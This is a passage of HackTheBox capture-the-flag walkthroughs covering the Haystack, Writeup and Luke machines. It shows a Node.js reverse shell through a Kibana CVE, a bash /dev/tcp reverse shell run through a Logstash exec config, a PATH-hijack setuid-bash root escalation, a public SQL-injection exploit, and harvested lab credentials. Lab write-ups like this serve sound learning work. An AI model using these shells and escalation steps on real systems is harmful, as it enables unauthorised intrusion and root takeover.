yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb

This tells us that there might be a Kibana interface running on top of it, but it’s not accessible yet for us. There are two other indexes “quotes” and “bank”. This was a pretty annoying part of this box, retrieving all the data from “bank” only showed a bunch of account information, but no passwords or anything useful at all. “quotes” was mostly text in Spanish. Searching through this data for “needle” this result set appeared:

        "_index": "quotes",
        "_type": "quote",
        "_id": "2",
        "_score": 1,
        "_source": {
          "quote": "There's a needle in this haystack, you have to search for it"

So this was the right path. After scrolling through the results two messages contained base64 encoded text:

# curl -X GET "" -H 'Content-Type: application/json' -d'
        "_index": "quotes",
        "_type": "quote",
        "_id": "45",
        "_score": 1,
        "_source": {
          "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
        "_index": "quotes",
        "_type": "quote",
        "_id": "111",
        "_score": 1,
        "_source": {
          "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="

Those quotes translated and decoded are:

I have to save the password for the machine: user: security
This key can not be lost, I keep it here: pass: spanish.is.key

With this we can now login via SSH and get the user flag. Looking around on the system there is only one service that caught our attention: logstash
It’s running as root. The configuration of it is mostly readable to us but the files in “/etc/logstash/conf.d” are only readable by the “kibana” user.
There is also a Kibana instance running as we were already suspecting which only listens on This version has a vulnerability (CVE-2018-17246) which allows us execute code as the Kibana process. We first start a local netcat listener on port 1337 and then create a JavaScript reverse shell in “/tmp/shell.js”:

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "", function(){
    return /a/; // Prevents the Node.js application form crashing

After that triggering the vulnerability by running:

$ curl ''

gives us a new reverse shell as the “kibana” user:

# nc -vnlp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 53254
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

With that we can now read the configuration files in “/etc/logstash/conf.d”:

$ cat input.conf
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"

$ cat filter.conf
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }

$ cat output.conf
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"

This is a rather simple Logstash configuration. Logstash will read files matching “/opt/kibana/logstash_*”. The file will be parsed and a “comando” variable will be extracted by a regex. And that variable will be executed.
The folder “/opt/kibana” is writeable by the “kibana” user. We start a local netcat listener again on port 4444.
After that create the following reverse shell wrapper as “/tmp/rev.sh”:

bash -i >& /dev/tcp/ 0>&1

Give the script executable permissions then run as the “kibana” user:

$ echo "Ejecutar comando : /tmp/rev.sh" >> /opt/kibana/logstash_rev

And after a few seconds on our listener we get back a connection:

# nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 56596
bash: no hay control de trabajos en este shell
[root@haystack /]# id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack ~]# cat /root/root.txt

HackTheBox – Writeup

The initial nmap scan only revealed open ports tcp/22 and tcp/80 but otherwise nothing interesting. The website also didn’t have any features, just static text:

However it did warn us that some sort of DoS protection was active and indeed, sending a few requests to non existing pages gets our IP banned for a couple of minutes.

After a bit I tried to request /robots.txt and that gives this back:

# curl
#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

The /writeup/ page itself again is not very interesting, but the source code of each page reveals the CMS software used:

# curl -s |head -n 7
<!doctype html>
<html lang="en_US"><head>
	<title>Home - writeup</title>
<base href="" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

There is a known vulnerability for this software with a public exploit (https://www.exploit-db.com/exploits/46635). It is using a blind SQL injection to fetch the password hash and salt. Running this exploit gives us a username and password:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

With those credentials we can use SSH and login to the server.

Getting root took a bit of time, I’ve enumerated the system and used pspy to figure out changes to the system but still couldn’t figure it out. There was a cronjob running via /root/bin/cleanup.pl but it appeared not possible to exploit that.

But the cronjob seemed to be centered around /usr/local/bin and /usr/local/sbin. The permissions of that folder were strange and non-default. I could write files to it but not list them. And the cronjob probably removed them.

I put most attention now on the fail2ban script which ran iptables to ban and unban IPs but I couldn’t make it work, it wouldn’t run my placed /usr/local/sbin/iptables file.

When I logged in with a second session I saw the following on pspy output:

2019/06/10 08:17:21 CMD: UID=0    PID=2948   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/06/10 08:17:21 FS:               ACCESS | /var/log/auth.log
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /var/log/auth.log
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/passwd
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/passwd
2019/06/10 08:17:21 FS:                 OPEN | /etc/ld.so.cache
2019/06/10 08:17:21 FS:        CLOSE_NOWRITE | /etc/ld.so.cache
2019/06/10 08:17:21 FS:                 OPEN | /usr/bin/env
2019/06/10 08:17:21 FS:               ACCESS | /usr/bin/env
2019/06/10 08:17:21 CMD: UID=0    PID=2949   | run-parts --lsbsysinit /etc/update-motd.d 

That sounded exactly like what I needed! On every login on the server the system executes run-parts. And it specifically sets a $PATH variable where the first entry is writeable to us.

I’ve decided to try to get a local root shell without needing a reverse shell. I’ve created the following run-parts file in /tmp/faker/:


/bin/cp /bin/bash /tmp/faker/bash
/bin/chown root:root /tmp/faker/bash
/bin/chmod +s /tmp/faker/bash

Basically, it copies /bin/bash, makes sure it is root owned and adds the setuid bit.
Afterwards just copy the run-parts script to /usr/local/sbin and ssh to the server again. We now got a root shell by executing /tmp/faker/bash -p:

$ cp /tmp/faker/run-parts /usr/local/sbin/
$ ssh jkr@
$ cd /tmp/faker
$ ls -l
total 5452
-rwsr-sr-x 1 root root 1099016 Jun 10 07:58 bash
-rwxr-xr-x 1 jkr  jkr  4468984 Jun 10 07:59 pspy64
-rwxr-xr-x 1 jkr  jkr       79 Jun 10 08:21 run-parts
$ ./bash -p     
bash-4.4# cat /root/root.txt 

HackTheBox – Luke

The initial nmap scan revealed a bunch of open ports:

# nmap
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-20 06:43 EDT
Nmap scan report for
Host is up (0.022s latency).
Not shown: 995 closed ports
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
8000/tcp open  http-alt

The FTP server on port tcp/21 allows anonymous connections. There is only one file on it:

# cat for_Chihiro.txt 
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 


The web application on port tcp/80 appears to be a very simple static page without much functionality.
Port tcp/3000 looks like some sort of API that requires authentication.
And tcp/8000 is running Ajenti, a server administration panel which also requires credentials.

Using dirbuster on port tcp/80 the following paths are found (among others):


The /management folder requires credentials that we do not have yet. With the hint from the file from the FTP server we notice that it’s possible to see the source code by requesting the file with the phps extension. At the very top, login.php references config.php:

And config.php reveals the password for a MySQL database:

Using dirbuster on port tcp/3000 the following paths are found (among others):


Requesting / tells us that a token is required:

# curl
{"success":false,"message":"Auth token is not supplied"}

Since there is a /login endpoint we try to send data to it. Trying to send broken JSON to it reveals an error message:

# curl '' -X POST -d '{ x }' -H "Content-Type: application/json"
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">

<pre>SyntaxError: Unexpected token x in JSON at position 2
 &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)
 &nbsp; &nbsp;at parse (/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)
 &nbsp; &nbsp;at /nodeapp/node_modules/body-parser/lib/read.js:121:18
 &nbsp; &nbsp;at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)
 &nbsp; &nbsp;at done (/nodeapp/node_modules/raw-body/index.js:213:7)
 &nbsp; &nbsp;at IncomingMessage.onEnd (/nodeapp/node_modules/raw-body/index.js:273:7)
 &nbsp; &nbsp;at IncomingMessage.emit (events.js:202:15)
 &nbsp; &nbsp;at endReadableNT (_stream_readable.js:1132:12)
 &nbsp; &nbsp;at processTicksAndRejections (internal/process/next_tick.js:76:17)</pre>


That means that it probably expects JSON. Simply by guessing we try the password extracted from config.php and the username admin from the /users/admin endpoint:

# curl '' -X POST -d '{ "username": "admin", "password": "Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json"
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI4MTE0LCJleHAiOjE1NjExMTQ1MTR9.e3YkeFLe6xwmsUyZMXC_bMRTjEDNt7fTR9mZTlMg5Dk"}

This returns a token, with that we can request /users which reveals a list of users:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
    "ID": "1",
    "name": "Admin",
    "Role": "Superuser"
    "ID": "2",
    "name": "Derry",
    "Role": "Web Admin"
    "ID": "3",
    "name": "Yuri",
    "Role": "Beta Tester"
    "ID": "4",
    "name": "Dory",
    "Role": "Supporter"

And now we can request details of each user which reveals a password for every account:

# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Admin",
  "password": "WX5b7)>/rp$U)FW"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Derry",
  "password": "rZ86wwLvx7jUxtch"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Yuri",
  "password": "bet@tester87"
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" | jq .
  "name": "Dory",
  "password": "5y:!xa=ybfe)/QD"

Trying those accounts on the remaining protected areas, we figure out that the Derry account works on the /management folder on port tcp/80. In that folder are 3 files, 2 of which we already know:


Requesting config.json reveals some Ajenti configuration:

# curl 'http://Derry:rZ86wwLvx7jUxtch@'
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
    "language": "", 
    "bind": {
        "host": "", 
        "port": 8000
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    "authentication": true, 
    "installation_id": 12354

And among that also a new password. With this password and the username root we can now finally login at port tcp/8000:

That system helpfully contains a “Terminal” feature. Creating a new session for it, creates a shell in our browser with root privileges. With that we can get both flags: